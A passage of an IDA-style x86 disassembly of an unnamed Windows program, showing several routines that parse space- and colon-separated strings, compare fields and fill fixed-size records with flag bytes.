		lea	ecx, [esp+130h]
		push	0
		push	ecx
		call	sub_436FAE
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_41C31C


loc_41C338:				; CODE XREF: ___:0041C314j
		pop	edi
		mov	al, 1
		pop	esi
		add	esp, 354h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_41C390	proc near		; CODE XREF: sub_401D7Fj

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41C390
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	0Ch
		push	4
		push	4Fh
		push	10h
		push	14h
		lea	eax, [esp+5Ch+var_3C]
		push	6
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_4017E4
		lea	ecx, [esi+0BCh]
		push	eax
		push	ecx
		mov	ecx, offset dword_447158
		call	sub_401591
sub_41C390	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Fh
		push	10h
		push	14h
		lea	edx, [esp+24h]
		push	6
		push	edx
		call	sub_4019B5
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 1
		call	sub_4017E4
		push	eax
		lea	eax, [esi+118h]
		push	eax
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	10h
		push	15h
		push	4Fh
		push	10h
		push	14h
		lea	ecx, [esp+20h]
		push	6
		push	ecx
		call	sub_4019B5
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 2
		call	sub_4017E4
		lea	edx, [esi+0EAh]
		push	eax
		push	edx
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	0Ch
		push	4
		push	4Fh
		push	10h
		push	14h
		push	14h
		lea	eax, [esp+24h]
		push	8
		push	eax
		call	sub_4019B5
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 3
		call	sub_4017E4
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Fh
		push	10h
		push	14h
		push	14h
		lea	edx, [esp+28h]
		push	8
		push	edx
		call	sub_4019B5
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 4
		call	sub_4017E4
		push	eax
		lea	eax, [esi+60h]
		push	eax
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	5
		push	14h
		push	1
		push	4
		push	10h
		push	15h
		push	4Fh
		push	10h
		push	14h
		push	14h
		lea	ecx, [esp+4Ch]
		push	8
		push	ecx
		call	sub_4019B5
		add	esp, 34h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 5
		call	sub_4017E4
		add	esi, 32h
		push	eax
		push	esi
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+20h]
		mov	[esp+40h], edi
		call	sub_401226
		mov	ecx, [esp+38h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41C610	proc near		; CODE XREF: sub_401064j

var_111		= byte ptr -111h
var_110		= dword	ptr -110h
var_10C		= byte ptr -10Ch
var_F4		= byte ptr -0F4h
var_DC		= byte ptr -0DCh
var_C4		= byte ptr -0C4h
var_AC		= byte ptr -0ACh
var_94		= byte ptr -94h
var_7C		= byte ptr -7Ch
var_67		= byte ptr -67h
var_52		= byte ptr -52h
var_3D		= byte ptr -3Dh
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_41C610
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 108h
		push	ebx
		push	ebp
		mov	ebp, ecx
		push	esi
		push	edi
		lea	ecx, [esp+124h+var_10C]
		call	sub_401424
		lea	ecx, [esp+124h+var_DC]
		mov	[esp+124h+var_4], 0
		call	sub_401424
		lea	ecx, [esp+124h+var_AC]
		mov	byte ptr [esp+124h+var_4], 1
		call	sub_401424
		lea	ecx, [esp+124h+var_94]
		mov	byte ptr [esp+124h+var_4], 2
		call	sub_401424
		lea	ecx, [esp+124h+var_C4]
		mov	byte ptr [esp+124h+var_4], 3
		call	sub_401424
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 4
		call	sub_401B36
		mov	esi, [esp+124h+arg_0]
		mov	bl, 5
		lea	ecx, [ebp+8Eh]
		mov	byte ptr [esp+124h+var_4], bl
		lea	edi, [esi+7Eh]
		call	sub_4017E4
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		lea	ecx, [ebp+4]
		call	sub_4017E4
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41C83C
		push	offset asc_443600 ; " "
		lea	eax, [esp+128h+var_F4]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 6
		push	ecx
		mov	ecx, eax
		call	sub_401681
		push	eax
		call	sub_401938
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41D1A1
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401FBE
		push	offset asc_443C94 ; ":"
		lea	ecx, [esp+128h+var_10C]
		call	sub_401A9B
		mov	eax, [esp+124h+var_28]
		lea	ecx, [esp+124h+var_10C]
		push	eax
		call	sub_401140
		lea	ecx, [esp+124h+var_24]
		push	ecx
		lea	ecx, [esp+128h+var_DC]
		call	sub_401FBE
		push	1
		push	offset asc_443600 ; " "
		lea	edx, [esp+12Ch+var_F4]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 7
		call	sub_401FBE
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		push	94h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 8
		jz	short loc_41C7CC
		mov	ecx, eax
		call	sub_4021C6
		mov	edi, eax
		jmp	short loc_41C7CE
; ---------------------------------------------------------------------------


loc_41C7CC:				; CODE XREF: sub_41C610+1AFj
		xor	edi, edi


loc_41C7CE:				; CODE XREF: sub_41C610+1BAj
		lea	eax, [esp+124h+var_10C]
		lea	ecx, [edi+11h]
		push	eax
		mov	byte ptr [esp+128h+var_4], bl
		call	sub_401FBE
		lea	ecx, [esp+124h+var_DC]
		push	ecx
		lea	ecx, [edi+26h]
		call	sub_401FBE
		lea	edx, [esp+124h+var_C4]
		lea	ecx, [edi+65h]
		push	edx
		call	sub_401FBE
		lea	eax, [esi+69h]
		lea	ecx, [edi+7Ah]
		push	eax
		call	sub_401FBE
		mov	byte ptr [edi+8Fh], 0
		mov	byte ptr [edi+90h], 0
		mov	byte ptr [edi+91h], 0
		mov	cl, [esi+93h]
		mov	[edi+92h], cl
		mov	dl, [esi+94h]
		mov	ecx, edi
		mov	[edi+93h], dl
		call	sub_4013D4


loc_41C83C:				; CODE XREF: sub_41C610+C0j
		lea	ecx, [ebp+60h]
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41C9BB
		push	offset asc_443600 ; " "
		lea	eax, [esp+128h+var_F4]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 9
		push	ecx
		mov	ecx, eax
		call	sub_401681
		push	eax
		call	sub_401938
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41D1A1
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401FBE
		push	offset asc_443C94 ; ":"
		lea	ecx, [esp+128h+var_10C]
		call	sub_401A9B
		mov	eax, [esp+124h+var_28]
		lea	ecx, [esp+124h+var_10C]
		push	eax
		call	sub_401140
		lea	ecx, [esp+124h+var_24]
		push	ecx
		lea	ecx, [esp+128h+var_DC]
		call	sub_401FBE
		push	1
		push	offset asc_443600 ; " "
		lea	edx, [esp+12Ch+var_F4]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 0Ah
		call	sub_401FBE
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		push	94h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 0Bh
		jz	short loc_41C94B
		mov	ecx, eax
		call	sub_4021C6
		mov	edi, eax
		jmp	short loc_41C94D
; ---------------------------------------------------------------------------


loc_41C94B:				; CODE XREF: sub_41C610+32Ej
		xor	edi, edi


loc_41C94D:				; CODE XREF: sub_41C610+339j
		lea	eax, [esp+124h+var_10C]
		lea	ecx, [edi+11h]
		push	eax
		mov	byte ptr [esp+128h+var_4], bl
		call	sub_401FBE
		lea	ecx, [esp+124h+var_DC]
		push	ecx
		lea	ecx, [edi+26h]
		call	sub_401FBE
		lea	edx, [esp+124h+var_C4]
		lea	ecx, [edi+65h]
		push	edx
		call	sub_401FBE
		lea	eax, [esi+69h]
		lea	ecx, [edi+7Ah]
		push	eax
		call	sub_401FBE
		mov	byte ptr [edi+8Fh], 1
		mov	byte ptr [edi+90h], 0
		mov	byte ptr [edi+91h], 0
		mov	cl, [esi+93h]
		mov	[edi+92h], cl
		mov	dl, [esi+94h]
		mov	ecx, edi
		mov	[edi+93h], dl
		call	sub_4013D4


loc_41C9BB:				; CODE XREF: sub_41C610+23Fj
		lea	ecx, [ebp+32h]
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41CBF6
		push	offset asc_443600 ; " "
		lea	eax, [esp+128h+var_F4]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 0Ch
		push	ecx
		mov	ecx, eax
		call	sub_401681
		push	eax
		call	sub_401938
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41D1A1
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401FBE
		push	offset asc_443C94 ; ":"
		lea	ecx, [esp+128h+var_10C]
		call	sub_401A9B
		mov	eax, [esp+124h+var_28]
		lea	ecx, [esp+124h+var_10C]
		push	eax
		call	sub_401140
		lea	ecx, [esp+124h+var_24]
		push	ecx
		lea	ecx, [esp+128h+var_DC]
		call	sub_401FBE
		push	1
		push	offset asc_443600 ; " "
		lea	edx, [esp+12Ch+var_F4]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 0Dh
		call	sub_401FBE
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	eax, [esp+128h+var_F4]
		push	3
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		push	offset word_44759A
		mov	ecx, eax
		mov	byte ptr [esp+128h+var_4], 0Eh
		call	sub_401B72
		test	eax, eax
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		setz	[esp+124h+var_111]
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jz	short loc_41CB5E
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 4
		call	sub_4014B0
		lea	ecx, [esp+124h+var_C4]
		mov	byte ptr [esp+124h+var_4], 3
		call	sub_401226
		lea	ecx, [esp+124h+var_94]
		mov	byte ptr [esp+124h+var_4], 2
		call	sub_401226
		lea	ecx, [esp+124h+var_AC]
		mov	byte ptr [esp+124h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+124h+var_DC]
		mov	byte ptr [esp+124h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+124h+var_10C]
		mov	[esp+124h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_41D212
; ---------------------------------------------------------------------------


loc_41CB5E:				; CODE XREF: sub_41C610+4D6j
		push	94h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 0Fh
		jz	short loc_41CB86
		mov	ecx, eax
		call	sub_4021C6
		mov	edi, eax
		jmp	short loc_41CB88
; ---------------------------------------------------------------------------


loc_41CB86:				; CODE XREF: sub_41C610+569j
		xor	edi, edi


loc_41CB88:				; CODE XREF: sub_41C610+574j
		lea	ecx, [esp+124h+var_10C]
		mov	byte ptr [esp+124h+var_4], bl
		push	ecx
		lea	ecx, [edi+11h]
		call	sub_401FBE
		lea	edx, [esp+124h+var_DC]
		lea	ecx, [edi+26h]
		push	edx
		call	sub_401FBE
		lea	eax, [esp+124h+var_C4]
		lea	ecx, [edi+65h]
		push	eax
		call	sub_401FBE
		lea	ecx, [esi+69h]
		push	ecx
		lea	ecx, [edi+7Ah]
		call	sub_401FBE
		mov	byte ptr [edi+8Fh], 0
		mov	byte ptr [edi+90h], 1
		mov	byte ptr [edi+91h], 0
		mov	dl, [esi+93h]
		mov	[edi+92h], dl
		mov	al, [esi+94h]
		mov	ecx, edi
		mov	[edi+93h], al
		call	sub_4013D4


loc_41CBF6:				; CODE XREF: sub_41C610+3BEj
		lea	ecx, [ebp+0BCh]
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41CD9B
		push	offset asc_443600 ; " "
		lea	ecx, [esp+128h+var_F4]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		lea	edx, [esp+124h+var_7C]
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+128h+var_4], 10h
		call	sub_401681
		push	eax
		call	sub_401938
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41D1A1
		lea	eax, [esp+124h+var_52]
		lea	ecx, [esp+124h+var_AC]
		push	eax
		call	sub_401FBE
		lea	ecx, [esp+124h+var_3D]
		push	ecx
		lea	ecx, [esp+128h+var_94]
		call	sub_401FBE
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401FBE
		lea	eax, [esp+124h+var_24]
		lea	ecx, [esp+124h+var_DC]
		push	eax
		call	sub_401FBE
		push	1
		push	offset asc_443600 ; " "
		lea	ecx, [esp+12Ch+var_F4]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 11h
		call	sub_401FBE
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		push	94h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 12h
		jz	short loc_41CD0E
		mov	ecx, eax
		call	sub_4021C6
		mov	edi, eax
		jmp	short loc_41CD10
; ---------------------------------------------------------------------------


loc_41CD0E:				; CODE XREF: sub_41C610+6F1j
		xor	edi, edi


loc_41CD10:				; CODE XREF: sub_41C610+6FCj
		lea	edx, [esp+124h+var_10C]
		lea	ecx, [edi+11h]
		push	edx
		mov	byte ptr [esp+128h+var_4], bl
		call	sub_401FBE
		lea	eax, [esp+124h+var_DC]
		lea	ecx, [edi+26h]
		push	eax
		call	sub_401FBE
		lea	ecx, [esp+124h+var_C4]
		push	ecx
		lea	ecx, [edi+65h]
		call	sub_401FBE
		lea	edx, [esp+124h+var_AC]
		lea	ecx, [edi+3Bh]
		push	edx
		call	sub_401FBE
		lea	eax, [esp+124h+var_94]
		lea	ecx, [edi+50h]
		push	eax
		call	sub_401FBE
		lea	ecx, [esi+69h]
		push	ecx
		lea	ecx, [edi+7Ah]
		call	sub_401FBE
		mov	byte ptr [edi+8Fh], 0
		mov	byte ptr [edi+90h], 0
		mov	byte ptr [edi+91h], 1
		mov	dl, [esi+93h]
		mov	[edi+92h], dl
		mov	al, [esi+94h]
		mov	ecx, edi
		mov	[edi+93h], al
		call	sub_4013D4


loc_41CD9B:				; CODE XREF: sub_41C610+5FCj
		lea	ecx, [ebp+118h]
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41CF40
		push	offset asc_443600 ; " "
		lea	ecx, [esp+128h+var_F4]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		lea	edx, [esp+124h+var_7C]
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+128h+var_4], 13h
		call	sub_401681
		push	eax
		call	sub_401938
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41D1A1
		lea	eax, [esp+124h+var_52]
		lea	ecx, [esp+124h+var_AC]
		push	eax
		call	sub_401FBE
		lea	ecx, [esp+124h+var_3D]
		push	ecx
		lea	ecx, [esp+128h+var_94]
		call	sub_401FBE
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401FBE
		lea	eax, [esp+124h+var_24]
		lea	ecx, [esp+124h+var_DC]
		push	eax
		call	sub_401FBE
		push	1
		push	offset asc_443600 ; " "
		lea	ecx, [esp+12Ch+var_F4]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 14h
		call	sub_401FBE
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		push	94h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 15h
		jz	short loc_41CEB3
		mov	ecx, eax
		call	sub_4021C6
		mov	edi, eax
		jmp	short loc_41CEB5
; ---------------------------------------------------------------------------


loc_41CEB3:				; CODE XREF: sub_41C610+896j
		xor	edi, edi


loc_41CEB5:				; CODE XREF: sub_41C610+8A1j
		lea	edx, [esp+124h+var_10C]
		lea	ecx, [edi+11h]
		push	edx
		mov	byte ptr [esp+128h+var_4], bl
		call	sub_401FBE
		lea	eax, [esp+124h+var_DC]
		lea	ecx, [edi+26h]
		push	eax
		call	sub_401FBE
		lea	ecx, [esp+124h+var_C4]
		push	ecx
		lea	ecx, [edi+65h]
		call	sub_401FBE
		lea	edx, [esp+124h+var_AC]
		lea	ecx, [edi+3Bh]
		push	edx
		call	sub_401FBE
		lea	eax, [esp+124h+var_94]
		lea	ecx, [edi+50h]
		push	eax
		call	sub_401FBE
		lea	ecx, [esi+69h]
		push	ecx
		lea	ecx, [edi+7Ah]
		call	sub_401FBE
		mov	byte ptr [edi+8Fh], 1
		mov	byte ptr [edi+90h], 0
		mov	byte ptr [edi+91h], 1
		mov	dl, [esi+93h]
		mov	[edi+92h], dl
		mov	al, [esi+94h]
		mov	ecx, edi
		mov	[edi+93h], al
		call	sub_4013D4


loc_41CF40:				; CODE XREF: sub_41C610+7A1j
		lea	ecx, [ebp+0EAh]
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41D1A1
		push	offset asc_443600 ; " "
		lea	ecx, [esp+128h+var_F4]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		lea	edx, [esp+124h+var_7C]
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+128h+var_4], 16h
		call	sub_401681
		push	eax
		call	sub_401938
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41D1A1
		lea	eax, [esp+124h+var_52]
		lea	ecx, [esp+124h+var_AC]
		push	eax
		call	sub_401FBE
		lea	ecx, [esp+124h+var_3D]
		push	ecx
		lea	ecx, [esp+128h+var_94]
		call	sub_401FBE
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401FBE
		lea	eax, [esp+124h+var_24]
		lea	ecx, [esp+124h+var_DC]
		push	eax
		call	sub_401FBE
		push	1
		push	offset asc_443600 ; " "
		lea	ecx, [esp+12Ch+var_F4]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 17h
		call	sub_401FBE
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	edx, [esp+128h+var_F4]
		push	3
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		push	offset word_44759A
		mov	ecx, eax
		mov	byte ptr [esp+128h+var_4], 18h
		call	sub_401B72
		test	eax, eax
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		setz	[esp+124h+var_111]
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jz	short loc_41D0EC
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 4
		call	sub_4014B0
		lea	ecx, [esp+124h+var_C4]
		mov	byte ptr [esp+124h+var_4], 3
		call	sub_401226
		lea	ecx, [esp+124h+var_94]
		mov	byte ptr [esp+124h+var_4], 2
		call	sub_401226
		lea	ecx, [esp+124h+var_AC]
		mov	byte ptr [esp+124h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+124h+var_DC]
		mov	byte ptr [esp+124h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+124h+var_10C]
		mov	[esp+124h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_41D212
; ---------------------------------------------------------------------------


loc_41D0EC:				; CODE XREF: sub_41C610+A64j
		push	94h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 19h
		jz	short loc_41D114
		mov	ecx, eax
		call	sub_4021C6
		mov	edi, eax
		jmp	short loc_41D116
; ---------------------------------------------------------------------------


loc_41D114:				; CODE XREF: sub_41C610+AF7j
		xor	edi, edi


loc_41D116:				; CODE XREF: sub_41C610+B02j
		lea	eax, [esp+124h+var_10C]
		lea	ecx, [edi+11h]
		push	eax
		mov	byte ptr [esp+128h+var_4], bl
		call	sub_401FBE
		lea	ecx, [esp+124h+var_DC]
		push	ecx
		lea	ecx, [edi+26h]
		call	sub_401FBE
		lea	edx, [esp+124h+var_C4]
		lea	ecx, [edi+65h]
		push	edx
		call	sub_401FBE
		lea	eax, [esp+124h+var_AC]
		lea	ecx, [edi+3Bh]
		push	eax
		call	sub_401FBE
		lea	ecx, [esp+124h+var_94]
		push	ecx
		lea	ecx, [edi+50h]
		call	sub_401FBE
		lea	edx, [esi+69h]
		lea	ecx, [edi+7Ah]
		push	edx
		call	sub_401FBE
		mov	byte ptr [edi+8Fh], 0
		mov	byte ptr [edi+90h], 1
		mov	byte ptr [edi+91h], 1
		mov	al, [esi+93h]
		mov	[edi+92h], al
		mov	cl, [esi+94h]
		mov	[edi+93h], cl
		mov	ecx, edi
		call	sub_4013D4


loc_41D1A1:				; CODE XREF: sub_41C610+116j
					; sub_41C610+295j ...
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 4
		call	sub_4014B0
		lea	ecx, [esp+124h+var_C4]
		mov	byte ptr [esp+124h+var_4], 3
		call	sub_401226
		lea	ecx, [esp+124h+var_94]
		mov	byte ptr [esp+124h+var_4], 2
		call	sub_401226
		lea	ecx, [esp+124h+var_AC]
		mov	byte ptr [esp+124h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+124h+var_DC]
		mov	byte ptr [esp+124h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+124h+var_10C]
		mov	[esp+124h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1


loc_41D212:				; CODE XREF: sub_41C610+549j
					; sub_41C610+AD7j
		mov	ecx, [esp+124h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 114h
		retn	4
sub_41C610	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 310h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41D540	proc near		; CODE XREF: sub_401B36j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41D540
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401424
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_401424
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401424
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401424
		lea	ecx, [esi+58h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401424
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_41D540	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41D5D0	proc near		; CODE XREF: sub_4014B0j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41D5D0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+58h]
		mov	[esp+14h+var_4], 3
		call	sub_401226
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401226
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+15h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_41D5D0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41D670	proc near		; CODE XREF: sub_4021C6j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41D670
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401E6A
		lea	ecx, [esi+11h]
		mov	[esp+14h+var_4], 0
		call	sub_401424
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401424
		lea	ecx, [esi+3Bh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401424
		lea	ecx, [esi+50h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401424
		lea	ecx, [esi+65h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401424
		lea	ecx, [esi+7Ah]
